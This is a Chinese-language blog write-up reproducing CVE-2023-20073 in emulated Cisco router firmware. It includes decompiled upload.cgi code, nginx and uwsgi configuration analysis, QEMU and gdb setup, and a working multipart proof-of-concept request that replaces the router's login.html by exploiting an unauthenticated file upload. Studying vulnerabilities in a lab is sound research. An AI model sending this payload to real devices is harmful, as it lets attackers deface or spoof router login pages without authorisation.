CVE-2023-20073

[armhf&命令执行&文件上传] CVE-2023-20073

这个洞在复现时遇到的情况如下:

  • 使用大多数师傅的文章里的poc无法成功复现,感觉有可能是仿真环境构建时出现了一些插曲导致的,这条在我写这篇文章时重新仿真环境的时候解决了,确实是仿真的时候把环境搞乱导致的,所以如果有其他师傅碰到了这种情况也可以把qcow2虚拟磁盘文件删了重头仿真一遍看看
  • 上传的文件文件名不受控制,即使把路径设置为/tmp/upload/0...01,每次运行upload.cgi程序时这个临时文件的文件名也会递增,这个问题实际上也算是解决了,这个应该是因为nginx里就设置好路径名了,所以才会出现无视伪造的请求体中的文件路径的情况

参考文章:

固件地址:

Software Download - Cisco Systems

逆向
几个函数的分析

StrBufCreate()

_DWORD *StrBufCreate()
{
_DWORD *v0; // r4
_BYTE *v1; // r0

v0 = malloc(0xCu);
if ( v0 )
{
v0[1] = '7';
v1 = malloc('7');
*v0 = v1;
if ( !v1 )
{
free(v0);
return 0;
}
*v1 = 0;
v0[2] = 0;
}
return v0;
}
//建立一个长0xc的结构体堆块
//其中 result[0] 为内容指针,result[1]为长度,result[2]不确定,可能是合法性标识,合法时为0

StrBufSetStr(par1, par2)

int __fastcall StrBufSetStr(int a1, int a2)
{
StrBufClear();
return StrBufAppendStr(a1, a2);
}
//对另外两个函数组合的封装
//整体的作用是用StrBufClear做了一些前期工作
//其他方面和StrBufAppendStr相同

StrBufClear()

int __fastcall StrBufClear(int a1)
{
int result; // r0
_BYTE *v3; // r2

result = StrBufIsOK(a1);
//StrBufIsOk()是检查StrBuf是否可用,即其第一个4字节是否有内容指针
if ( result )
{
v3 = *(_BYTE **)a1;
*(_DWORD *)(a1 + 8) = 0;
*v3 = 0;
}
return result;
}
//检查StrBuf是否可用,如果可用就对其进行清理(内容清理而不是回收,以便向里面写入正确的内容)

StrBufAppendStr(a1, a2)

int __fastcall StrBufAppendStr(_DWORD *a1, const char *a2)
{
int result; // r0
size_t v5; // r5

if ( !a2 || !StrBufIsOK() )
return 0;
v5 = strlen(a2);
result = sub_1BBC(a1, v5 + a1[2] + 1);
if ( result )
{
strcpy((char *)(*a1 + a1[2]), a2);
result = 1;
a1[2] += v5;
}
return result;
}
//应该就是往StrBuf[0]的内容指针里添加内容
//sub_1BBC是在StrBuf[0]的size不足时做扩展工作的

StrBufToStr(*StrBuf)

_DWORD *__fastcall StrBufToStr(_DWORD *a1)
{
_DWORD *result; // r0

result = StrBufIsOK(a1);
if ( result )
return (_DWORD *)*a1;
return result;
}
//取到StrBuf指针,返回其包含的内容指针

match_regex(char *pattern, const char *a2)

//检查 pattern 是否符合正则表达式 a2 的规则
nginx配置文件

/etc/nginx/conf.d/rest.url.conf

gpt:

这个文件很可能是用于配置与 REST API 相关的路由规则。REST 是一种架构风格,通常用于构建网络服务接口。

配置的内容可能涉及到为 REST API 定义特定的 URL 路径,并设置如何处理这些请求(例如,GET、POST、PUT、DELETE 请求等)。它也可能包括跨域设置、请求速率限制等。

这个配置文件中有关于这个漏洞利用的api的一些操作方式,以及文件上传的处理逻辑

...
line 13
location /api/operations/ciscosb-file:form-file-upload {#定义了对于...:form-file-upload这个路由的处理方式
set $deny 1; #也意味着我们需要访问这个url去触发后面流程的进行

if ($http_authorization != "") { #检查这个变量的内容
set $deny "0"; #实际上就是http请求里的 Authorization 字段
} #在proxy.conf文件里可以看到↓
#`proxy_set_header Authorization $http_authorization;

if ($deny = "1") { #要authorization内容非空才能继续走下去
return 403;
}


upload_pass /form-file-upload; #转至后台处理
upload_store /tmp/upload; #上传文件的(临时)存储路径
upload_store_access user:rw group:rw all:rw; #上传文件的权限设置

#这部分是将上传文件的一些信息(文件名、内容类型、路径、md5、大小存到了一个表单里)
upload_set_form_field $upload_field_name.name "$upload_file_name"; #这里要注意,这个地方是给上传的文件生成了一个文件名,后面upload.cgi的分析里会提到
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";#这种是额外变量,上传成功后才会生成
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";

upload_pass_form_field "^.*$"; #将刚才的表单所有字段传递给下游处理程序,大概就是upload.cgi;"^.*$"表示匹配所有字段
upload_cleanup 400 404 499 500-505; #意外情况处理,出现这些错误代码时清理已上传文件
upload_resumable on; #启用上传恢复功能(和漏洞无关)
}
...

根据参考文章里师傅的讲解,在执行到upload_pass时似乎会触发或者跳转到 location /form-file-upload 位置的执行

位于 web.upload.conf 文件中

gpt:

该文件负责文件上传处理和后端服务器通信的一些设置

location /form-file-upload {
include uwsgi_params; #导入了 Nginx 的 uwsgi_params 文件
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass 127.0.0.1:9003;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}

似乎就是说把文件上传请求的处理工作交接给这个 uwsgi 服务

在nginx启动脚本中也能看到,最后一行就是启动 uwsgi 服务

/etc/init.d/nginx

image-20251123144449871

uwsgi服务的启动脚本根据ZIKH26师傅的讲解是这个 /usr/bin/uwsgi-launcher

#!/bin/sh /etc/rc.common

export UWSGI_PLUGIN_DIR=/usr/lib/uwsgi/plugins

start() {
uwsgi -m --ini /etc/uwsgi/jsonrpc.ini &
uwsgi -m --ini /etc/uwsgi/blockpage.ini &
uwsgi -m --ini /etc/uwsgi/upload.ini & #目标部分
}
...

能看到文件上传的部分是由 /etc/uwsgi/upload.ini 进行初始化的

[uwsgi]
plugins = cgi
workers = 1
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9003
buffer-size=4096
cgi = /www/cgi-bin/upload.cgi #cgi程序路径
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 300 #另外这里有cgi程序的超时时长,可以改大,防止调试时中断
ignore-sigpipe = true

可以看到这个请求最终是到了 upload.cgi 这个二进制程序上

upload.cgi程序

IDA看的时候可以对一些变量名进行一些简单的改名,更方便看,被我动过后的main:

CONTENT_LENTH = getenv("CONTENT_LENGTH");
CONTENT_TYPE = getenv("CONTENT_TYPE");
REQUEST_URI = getenv("REQUEST_URI");
HTTP_COOKIE = getenv("HTTP_COOKIE");
v7 = memset(s, 0, 0x400u);
filename0 = 0;
file_path0 = 0;
pathparam0 = 0;
fileparam0 = 0;
v32 = 0;
v33 = 0;
v34 = 0;
v35 = 0;
v36 = 0;
StrBuf1 = StrBufCreate(v7);
StrBuf2 = StrBufCreate(StrBuf1);
filename3 = StrBufCreate(StrBuf2);
if ( CONTENT_LENTH )
CONTENT_LENTH = (const char *)atoi(CONTENT_LENTH);
body_origin = malloc((size_t)(CONTENT_LENTH + 1));// body原始数据,由fread读入
body_origin[fread(body_origin, 1u, (size_t)CONTENT_LENTH, (FILE *)_bss_start)] = 0;
if ( CONTENT_TYPE && strstr(CONTENT_TYPE, "boundary=") )
{
StrBufSetStr(StrBuf1, "--"); // 以boundary为分隔符寻找内容主体
v9 = strstr(CONTENT_TYPE, "boundary");
StrBufAppendStr(StrBuf1, v9 + 9); // 把主要内容存到StrBuf1上
}
body_json1 = memset(body_json0, 0, sizeof(body_json0));// 这两个body_json都是body数据在栈上的缓冲区
body_json0[1] = sub_1138C;
body_json0[2] = sub_11464;
json_buf = json_object_new_object(body_json1);
v11 = StrBufToStr(StrBuf1);
body_tmp = multipart_parser_init(v11, body_json0);
body_lenth = strlen(body_origin);
multipart_parser_execute(body_tmp, body_origin, body_lenth);// 这里时body的表单信息解析到json_buf指针指向的内容快中
multipart_parser_free(body_tmp);
jsonutil_get_string(json_buf, &file_path0, "\"file.path\"", -1);
jsonutil_get_string(json_buf, &filename0, "\"filename\"", -1);
jsonutil_get_string(json_buf, &pathparam0, "\"pathparam\"", -1);
jsonutil_get_string(json_buf, &fileparam0, "\"fileparam\"", -1);
jsonutil_get_string(json_buf, &v32, "\"destination\"", -1);
jsonutil_get_string(json_buf, &v33, "\"option\"", -1);
jsonutil_get_string(json_buf, &v34, "\"cert_name\"", -1);
jsonutil_get_string(json_buf, &v35, "\"cert_type\"", -1);
jsonutil_get_string(json_buf, &v36, "\"password\"", -1);
if ( HTTP_COOKIE )
get_strtok_value(HTTP_COOKIE, "sessionid=", ";", s);
if ( !file_path0 || match_regex("^/tmp/upload/[0-9]{10}$") )// 实际上是(..., file_path0)
{
puts("Content-type: text/html\n");
printf("Error Input");
goto LABEL_31;
}
StrBufSetStr(filename3, fileparam0);
filename1 = filename0;
if ( filename0 )
{
if ( strstr(filename0, ".xml") )
{
v15 = "Configuration";
}
else
{
if ( !strstr(filename1, ".img") )
{
LABEL_17:
StrBufSetStr(filename3, filename1);
goto LABEL_18;
}
v15 = "Firmware";
}
pathparam0 = v15; // filename中没有.img或.xml时将pathname设置为Firmware
// 和漏洞点没关系
goto LABEL_17;
}
LABEL_18:
file_path1 = file_path0;
pathparam1 = pathparam0;
filename4 = (const char *)StrBufToStr(filename3);
v19 = sub_115EC(pathparam1, file_path1, filename4);

(body数据那块这里面注释分析的可能不太对,那里面指针流转的太复杂了,当时分析清楚的那一版ida注释丢了,感兴趣的可以自己调试从fread调用那里跟着往后追踪一遍。反正最后body内容是被那个json_buf承载了就对了)

前面的四个环境变量在这个洞里不重要,略过就可以

紧跟着的body内容处理的部分刚才也说过了,忘了,不知道怎么记录了
其实比较重要的也就是关于内容分割符的部分

image-20251123163934397

它是以boundary为信息分隔符的,所以写body时可以写成类似于这样的格式

--boundary
...
--boundary
...
--boundary--

或者(不知道什么原理,看别的师傅这样写)

------------
...
------------
...
------------

再往后来到json数据解析到变量的部分就比较重要了

image-20251123164218123

在这里把body数据中的一些字段解析出来放到变量中

这个洞要成功利用只需要考虑前四个就可以了(第一个实际上也不用管),先继续看

image-20251123164350829
这里这里获取了COOKIE中 sessionid 的内容,但其实在漏洞所在函数调用前没有验证,只要别让它报错就行

 

 

然后是检查了一下刚才提到的第一个变量 file.path 字段值,这里可以看到是要求非空,且应该为 /tmp/upload/<十个数字> ,所以我们应该在body里添加一段控制它

--boundary
Content-Disposition: form-data; name="file.path"

/tmp/upload/0000000001

但是实际上这里是不用管的,因为我们前面说到的nginx配置文件中是控制过这个字段内容的

而因为那里面也设置了存储的文件的路径是/tmp/upload,尝试过我们也发现它生成的文件名就是十个数字,从0...01开始递增,所以这个字段我们其实是可以放着它不管的

而且实际上要是控制了反而会有问题,比如像上面这个写法一样,将文件名控制成0....01,但是如果不是起好仿真后的第一次运行,你会发现生成的文件名不是1,比1大,这个我也不懂为什么,但会导致后面 sub_115ec 里的验证不通过

image-20251123165148510

image-20251123165148510

(因为你控制了file_path0为000...1,但nginx把文件保存成了000...0N,结果就是文件不存在了)

后面分析到这里了会再点一下

 

 

紧接着后面对filename的后缀名的查询,后缀名检查本身对漏洞利用没影响,但这里对filename的处理要看一下

首先要知道漏洞函数接收到的filename实际上是filename3

image-20251123174334125

而 filename3 本来是在这里由filename1赋值的,由于我们需要filename是 login.html,这里执行不到,所以就要看其他地方

也就是一开始这里image-20251123174525830

所以实际上漏洞函数里的 filename 变量就是 body 里 fileparam 的值,所以我们写 body时要记得控制 fileparam

 

 

然后就到漏洞函数了

image-20251123165505793又转手了一下变量后传递参数

可以看到这里传进去的是 pathparam, file.path, filename 这三个东西,这里不多说,进到里面去看看在分析

image-20251123165936099一进来先是对pathparam的一大堆对比

这个pathparam的内容一会再看,先往后看,这里只需要知道会根据pathparam的值决定一个 v8 变量的内容就可以了

 

pathparam的判断刚结束就是前面提到过的检查 file.path 指向的文件是否存在的问题,刚才也解释过了,所以可以知道body中尽量不要控制 file.path 这个字段

 

然后就是想要的漏洞点了

image-20251123171100723

先把拼接了一下命令,实际上就是把上传的文件,按照各字段内容走判断分支,移动到它该去的目录

那么差的最后一点就是软链接,我们在固件文件系统的www目录下 ls -l 会发现

image-20251123171331374

index.html和login.html都被链接到了/tmp/www下的同名文件

而刚才我们暂时略过的 v8 的分支赋值中

image-20251123171452366就有将v8设置为 /tmp/www 的分支

要求pathparam 为 Portal

同样的不难知道 filename 也要控制成 login.html。这样就可以掉包路由器登录页的html文件

仿真

这部分除了虚拟网桥的部分我基本全是仿照 ZIKH26 师傅做的

用到的文件下载地址贴在这

Index of /~aurel32/qemu/armhf

debian_wheezy_armhf_standard.qcow2
initrd.img-3.2.0-4-vexpress
vmlinuz-3.2.0-4-vexpress

qcow2文件下载后要用 qemu-img resize ./debian_xxx.qcow2 32g 命令重新设置大小,否则会启动失败

qemu启动脚本:

sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic -smp 4

虚拟网桥部分我是直接用的之前第一次复现时搜到的一个解决方案,ubuntu里五句命令 + qemu里一句命令 就能沟通两者网络,反正能用,我就没想那么多了

#ubuntu物理机内执行
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.<ubuntu的网段>.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.<...>.<在之后就是ubuntu物理机的地址>/24 up
sudo brctl addif Virbr0 tap0
#qemu执行
ifconfig <qemu网卡名称> 192.168.<同上>.<在之后是qemu的地址> up

这个固件看很多师傅包括 ZIKH26 师傅都说直接用binwalk可能解不出来,我一开始也是用binwalk解不出来,又装了 ubi_reader 发现还是没用,然后一边问我学长一边自己 binwalk -e gzip tar 啥的一层一层解,结果我学长binwalk -Me 是能直接解出文件系统的,这个时候我把文件清理了一下重新binwalk了一遍发现我也能解了,没懂为什么,可能没重开shell,ubi_reader没生效?

正常情况这个固件应该是能用完整的binwalk3.1解包的,解不了就装下ubi_reader再试试,再解不了就百度吧

IoT(八)ubi文件系统挂载&解包【转】 - Sky&Zhang - 博客园

把固件解包后打包传递到qemu里,然后再解包,防止软链接等文件信息出现损坏

然后去将proc和dev挂载到固件文件系统里的,再chroot彻底切换到固件的系统里

chmod -R 777 rootfs
cd rootfs/
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh

image-20251123154133309

image-20251123154149269

然后就是启动路由器web前端的服务

过程中会碰到很多问题,我是折腾了一会没折腾明白,然后就直接用 ZIKH26师傅的结论了

/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start

运行完看看启动日志信息是不是和ZIKH26师傅展示的那些差不太多,然后访问下网站看看,能访问到login.html,然后一会也能正常触发upload.cgi程序,基本上就没啥大问题

image-20251123154931699

 

调试问题解决

由于upload.cgi程序本身运行的太快,调试的时候可以patch一下

image-20251123161054113在前面这些不太影响执行流程的部分把某一句指令patch成bl 0就可以了

比如像参考文章中的一样把第一个getenv改成bl 0

Online Assembler and Disassembler

image-20251123161719543

image-20251123161719543

然后在ubuntu上写个调试脚本

set architecture arm
set endian little
set detach-on-fork off
file ./ubifs-root/www/cgi-bin/upload.cgi
target remote 192.168.171.2:1234

b *0x10f74
b *0x110d8
b *0x116a4

set *0x10e0c=0xebffffaa
c

调试时用 gdb-multiarch -x mygdb.sh

浏览器中用hackbar编辑好body后发送请求,qemu上 ps | grep "www" 看 cgi程序的PID,然后 ./gdbserver 0.0.0.0:1234 --attach PID 就可以顺利调试了

另外gdbserver有的时候会出现 n 无法步过调用的函数的情况,可以打断点 c 过去来解决

b *$pc+4
c
dele last

也可以编辑成一个脚本,比如命名为 n,在调试时就可以用 source n,去步过一个函数调用

 

攻击

根据前面逆向的部分的分析结论,我们需要让 filename = login.html, pathparam = Portal, 上传的文件内容为掉包用的 html内容

回到main函数解析json的位置,直接拿POC试一遍,走一遍流程

POC

--boundary
Content-Disposition: form-data; name="pathparam"

Portal
--boundary
Content-Disposition: form-data; name="fileparam"

login.html
--boundary
Content-Disposition: form-data; name="file"; filename="login.html"
Content-Type: application/octet-stream

<h1>==TRACE==</h1>
<h2>Ciallo~ (∠・ω &lt; )⌒★<</h2>
--boundary--


(以这个为准,下面图里的是忘改了)

按照对nginx配置文件的分析,URL

然后是请求头里的那两个信息

再把编码方式改成mutipart/form-data(因为main函数里的解包解析用的就是mutipart系列函数)

完事点 EXECUTE 发送

按照之前提到过的流程,ps看PID,gdbserver attach开调试,ubuntu物理机连接

image-20251123172648413

来到第一个json解析,可以看到确实自动生成了file.path内容

image-20251123180102596

走完几个重要的解析

image-20251123180339871

然后直接来到漏洞函数:

image-20251123180417193

可以看到非常顺利,传参都是正确的

来到那个检查上传文件是否存在的地方

image-20251123180453136

这里如果想检查的话可以再起一个shell,ssh连到qemu上看一看:

image-20251123180558895

image-20251123180622711

成功执行mv 命令就是完事了

然后detach释放掉cgi程序,去浏览器重新访问一下试试效果

image-20251123181002322

成功换掉了登录页

posted @ 2025-11-23 18:28  ink777  阅读(4)  评论(0)    收藏  举报